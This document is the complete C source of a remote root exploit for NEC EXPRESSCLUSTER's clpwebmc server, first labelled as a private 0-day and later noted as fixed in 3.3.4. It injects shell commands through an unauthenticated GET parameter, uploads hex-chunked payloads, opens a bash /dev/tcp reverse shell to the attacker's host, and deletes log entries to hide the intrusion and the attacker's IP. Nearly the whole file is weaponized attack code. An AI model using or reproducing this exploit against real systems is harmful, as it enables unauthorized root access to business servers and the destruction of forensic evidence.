/* 
 * 2017 update: as of 3.3.4 this bug seems to be fixed
 * - fixed versions:
 * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
 * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
 */
/*
 * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
 *
 *   NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
 *                        <vincitamorpatriae@gmail.com>
 *
 * - product description:
 * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
 * recovery software solutions that address the fast recovery and continuous
 * protection needs of business critical applications and data. With increased
 * servers and complexity of server applications running Windows or Linux,
 * EXPRESS CLUSTER minimizes planned and unplanned system outages.
 * 
 * - vulnerability description:
 * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
 * configuration and management. The underlying webserver 'clpwebmc' runs as
 * root and accepts connections on TCP port 29003 which can be initiated without
 * authentication in the default installation.
 * 
 * A function is available to remove temporary work directories by issuing the
 * following GET request to port 29003, appended with the location of the
 * directory that is supposed to be deleted:
 * GET /DeleteWorkDirectory.js?WorkGuid=directoryname
 * 
 * The working of the DeleteWorkDirectory.js HTTP request roughly translates to
 * the following C code:
 *
 * void
 * remove_dir_path(char *WorkGuidParameter)
 * {
 *   char x[128];
 *   snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
 *       WorkGuidParameter);
 *   system(x);
 * }
 *
 * No input sanitation is performed and the supplied arguments are passed
 * straight on to system(). By setting the WorkGuid parameter to '0' and
 * appending  a semicolon followed by arbritrary commands it is possible to
 * execute those commands as root on the remote machine.
 * 
 * Example HTTP GET request with command injection:
 * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
 *
 * Which results on the remote host:
 * $ ls -la /tmp/id.txt
 * -rw-rw-rw-  1 root root 57 Apr 20 16:37 /tmp/id.txt
 * $ cat /tmp/id.txt
 * uid=0(root) gid=0(root) groups=0(root)
 *
 * - tested vulnerable versions:
 * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
 *
 * - tested versions not vulnerable:
 * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
 *
 * - exploit details:
 * This exploit is fully "weaponized" as they call it nowadays. It starts a
 * listening port on the attacking host and connects back from the victim host
 * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
 * run a firewall due to the nature of connect-back.
 * 
 * A payload system is utilised where commands are encoded to hex and split into
 * chunks. These chunks are then sent one by one to the victim host and appended
 * to a temporary file using 'echo -ne'. The temporary file gets executed in the
 * last request.
 *
 * For OPSEC purposes the temporary file will destroy itself and
 * all traces of the exploit and your IP will be deleted from these log files:
 * /opt/nec/clusterpro/log/webmgr.log.cur
 * /opt/nec/clusterpro/log/webmgr.err.cur
 *
 * - exploit compilation:
 * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
 *
 * - the exploit connect-back listener is confirmed to work on:
 * CentOS 6
 * Fedora 22
 * OS X 10.10.5
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE  1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
      "$(grep GetConfiguration %s.log.cur|" \
      "grep IP=|tail -1|tr ':' '\\n'|" \
      "grep Root=1|cut -d, -f1)" \
      "/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
        "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
        "cat %s.0>%s.$x.cur;" \
        "rm -f %s.0;" \
        "done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
 * use /tmp but there's a fair chance that the sysadmin has mounted that with
 * 'noexec'
 */
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
  if ((port < 1) || (port > 65535)) {
    printf("error: %d is an invalid %s port\n", port, p);
    return(1);
  }

  return(0);
}

void
usage()
{
  printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
  printf("\t-p [port (default: %d)]\n", port);
  printf("\t-c [connect-back port (default: %d)]\n", connectback);
  printf("\t-m [admin user md5 hash]\n\n");
  exit(1);
}

char
*genrandom()
{
  int len = strlen(TMPPATH) + 8;
  int n;

  char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
  char *r = malloc(sizeof(char)*(len + 1));

  sprintf(&r[0], "%s/", TMPPATH);

  srand(time(NULL));
  for (n = strlen(TMPPATH) + 1; n < len; n++)
    r[n] = s[rand() % strlen(s)];

  r[len] = '\0';

  return(r);
}

int
opensock(char *host, unsigned short int port)
{
  int s;

  struct hostent *target;
  struct sockaddr_in addr;

  target = gethostbyname(host);
  if (target == NULL) {
    perror("gethostbyname");
    exit(1);
  }

  s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  if (s == -1) {
    perror("socket");
    exit(1);
  }

  memcpy(&addr.sin_addr, target->h_addr, target->h_length);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);

  if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
    perror("connect");
    exit(1);
  }

  return(s);
}

void
sendsock(char *buf)
{
  char readbuf[1024];

  if (strlen(buf) >= MAXPROCCMD) {
    printf("sendsock() max len exceeded");
    exit(1);
  }

  sock = opensock(host, port);
  if (write(sock, buf, strlen(buf)) < 0) {
    perror("write");
    exit(1);
  }

  if (write(sock, CRLF, strlen(CRLF)) < 0) {
    perror("write");
    exit(1);
  }

  if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
    perror("read");
    exit(1);
  }

  if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
    if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
      printf("[!] md5 hash is invalid %s\n", md5);
    else
      printf("[!] unknown error: [%s][%lu]\n", readbuf,
          strlen(readbuf));

    exit(1);
  }

#ifdef VERBOSE
  printf("[-] sendsock(): HTTP/1.1 200 OK\n");
#endif
  close(sock);
}

void
writepayload(char *p, char *path)
{
  char buf[MAXPROCCMD];

  if (md5 == NULL)
    snprintf(buf, sizeof(buf), ECHO,
        GET, p, path, HTTP);
  else
    snprintf(buf, sizeof(buf), ECHOAUTH,
        GET, p, path, HTTP, AUTH, md5);

  if (strlen(buf) > MAXPROCCMD) {
    printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf);
    exit(1);
  }

  sendsock(buf);
}

void
execpayload(char *path)
{
  char buf[MAXPROCCMD];

  printf("[*] executing payload\n");

  if (md5 == NULL) {
    snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
    sendsock(buf);

    snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
    sendsock(buf);
  } else {
    snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
        HTTP, AUTH, md5);
    sendsock(buf);

    snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
         md5);
    sendsock(buf);
  }
}

void
sendcmd(char *p, char *path)
{
  int i;
  int n = 1;
  int c = 0;
  int maxchunksize;
  int req;

  static char buf[MAXPROCCMD];

  if (md5 == NULL) {
    req = strlen(GET) + strlen(HTTP) + strlen(path) + \
      strlen(ECHO) + strlen(CRLF);
  } else {
    req = strlen(GET) + strlen(HTTP) + strlen(path) + \
      strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \
      strlen(md5);
  }

#ifdef VERBOSE
  printf("[-] command: \"%s\"\n", p);
#endif

  maxchunksize = (MAXPROCCMD - req) / 4;

  /* make the payload destroy itself on the filesystem during execution
   */
  printf("[*] adding self destruct to payload: %s\n", path);
  snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
  writepayload(buf, path);
  snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
  writepayload(buf, path);
  
  if (strlen(p) > maxchunksize) {
    printf("[-] command exceeds available space in GET request\n");
    printf("[-] have to split in chunks\n");
  }

  printf("[*] uploading command payload to: %s\n", path);
  printf("    payload size: %lu\n", strlen(p)); 
  printf("    payload chunk space: %d\n", maxchunksize);
  printf("    number of chunks: %lu\n", strlen(p) / maxchunksize);

  printf("[*] uploading:\n");
  printf("    chunk %d", n);
#ifdef VERBOSE
  printf(" |  ");
#endif

  /* turn commands into a hex payload of 'maxchunksize' byte chunks which
   * are saved to the filesystem. this is to bypass '&' filtering and to
   * get around the maximum size of GET requests allowed by clpwebmc
   */
  for (i = 0; i < strlen(p); i++) {
    sprintf(&buf[c * 4],"\\x%02x", p[i]);
#ifdef VERBOSE
    printf("  %c ", p[i]);
#endif
    if (c == (maxchunksize - 1)) {
      
#ifdef VERBOSE
      printf("\n    chunk %d", n);
      printf(" | %s", buf);
#endif
      printf("\n");
      writepayload(buf, path);
      c = 0;
      n++;

      printf("    chunk %d", n);
#ifdef VERBOSE
      printf(" |  ");
#endif
    } else {
      c++;
    }
  }

#ifdef VERBOSE
  printf("\n    chunk %d", n);
  printf(" | %s", buf);
#endif
  printf("\n");

  writepayload(buf, path);

  execpayload(path);
}

void
checkserver()
{
  char buf[BUFSIZE];

  sock = opensock(host, port);
  if (write(sock, HEAD, strlen(HEAD)) < 0) {
    perror("write");
    exit(1);
  }

  if (write(sock, CRLF, strlen(CRLF)) < 0) {
    perror("write");
    exit(1);
  }

  if (read(sock, buf, sizeof(buf) - 1) < 0) {
    perror("read");
    exit(1);
  }

  close(sock);

  /* older clpwebmc versions present themselves as: ClusterProWebmanager
   * newer versions use: ClusterWebmanager
   */
  if (strstr(buf, "Server: Cluster") == NULL || \
      strstr(buf, "Webmanager") == NULL) {
    printf("error: %s:%d is not running clpwebmc\n", host, port);
    exit(1);
  }

  /* this GET request gets logged */
  sock = opensock(host, port);
  if (write(sock, INFO, strlen(INFO)) < 0) {
    perror("write");
    exit(1);
  }

  if (write(sock, CRLF, strlen(CRLF)) < 0) {
    perror("write");
    exit(1);
  }

  if (read(sock, buf, sizeof(buf) - 1) < 0) {
    perror("read");
    exit(1);
  }

  close(sock);

  /* OS checker
   * WebMgrVersion="WebMgr2.1.1_Linux"
   * WebMgrVersion="WebMgr3.0.0_Win"
   */
  if (strstr(buf, "_Linux\"") == NULL) {
    printf("\n");
    printf("[!] cannot exploit, %s is not running Linux\n", host);
    printf("    (your IP has been logged by the target system)\n");
    exit(1);
  }

  printf("[-] %s:%d is Linux running clpwebmc\n", host, port);

  if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
    printf("[!] cannot exploit: clpwebmc has a password set\n");
    printf("    see usage how to send an admin password\n");
    printf("    (your IP has been logged by the target system)\n");
    printf("\n");
    usage();
    exit(1);
  }
}

void
setuplistener()
{
  struct sockaddr_in addr;

  printf("[*] setting up connect-back listener on port: %d\n",
      connectback);

  if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
    perror("socket");
    exit(1);
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(connectback);

  if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
    perror("bind");
    exit(1);
  }

  if (listen(list_s, BUFSIZE) < 0) {
    perror("listen");
    exit(1);
  }

  /* set O_NONBLOCK on listening socket */
  flags = fcntl(list_s, F_GETFL, 0);
  if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
    perror("fcntl");
    exit(1);
  }
}

void
connectshell()
{
  int p;

  char buf[BUFSIZE];

  struct timeval tm;

  fd_set rset;

  printf("[*] connecting to shell\n");

#ifdef __APPLE__
  /* remove O_NONBLOCK flag on OS X machines */
  flags = fcntl(list_s, F_GETFL, 0);
  if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
    perror("fcntl");
    exit(1);
  }
#endif

  if ((listsock = accept(list_s, NULL, NULL)) < 0) {
    perror("accept");
    exit(1);
  }

  p = send(listsock, CMD, strlen(CMD), 0);
  if (p == -1) {
    perror("send");
    exit(1);
  }

  printf("[-] connect-back successful\n\n");

  tm.tv_sec = 10;
  tm.tv_usec = 0;

  while (1) {
    FD_ZERO(&rset);
    FD_SET(listsock, &rset);
    FD_SET(STDIN_FILENO, &rset);
    select(listsock + 1, &rset, NULL, NULL, &tm);

    if (FD_ISSET(listsock, &rset)) {
      p = read(listsock, buf, sizeof(buf) - 1);
      if (p <= 0)
        exit(0);

      buf[p] = 0;
      printf("%s", buf);
    }

    if (FD_ISSET(STDIN_FILENO, &rset)) {
      p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

      if (p > 0) {
        buf[p] = 0;
        write(listsock, buf, p);
      }
    }
  }
}

int 
main(int argc, char *argv[]) {
  int opt;

  char cmd[BUFSIZE];

  printf("%s\n\n", HDR);

  if (argc < 3)
    usage();

  while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
    switch (opt) {
      case 'h':
        host = optarg;
        break;
      case 'p':
        port = atoi(optarg);
        if (validport(port, "target") != 0)
          exit(1);
        break;
      case 'c':
        connectback = atoi(optarg);
        if (validport(connectback, "connect-back") != 0)
          exit(1);
        break;
      case 'm':
        md5 = optarg;
        printf("[-] using admin auth: %s\n", md5);
        break;
      default:
        usage();
    }

  if (host == NULL)
    usage();

  checkserver();
  setuplistener();

  snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
  sendcmd(cmd, genrandom());

  /* remove all traces of the payload that were logged by webmgr
   * also remove all remove_tmp_webm system entries as it reveals our vuln 
   */
  printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG);
  snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
  sendcmd(cmd, genrandom());

  connectshell();

  /* never reached */
  return(0);
}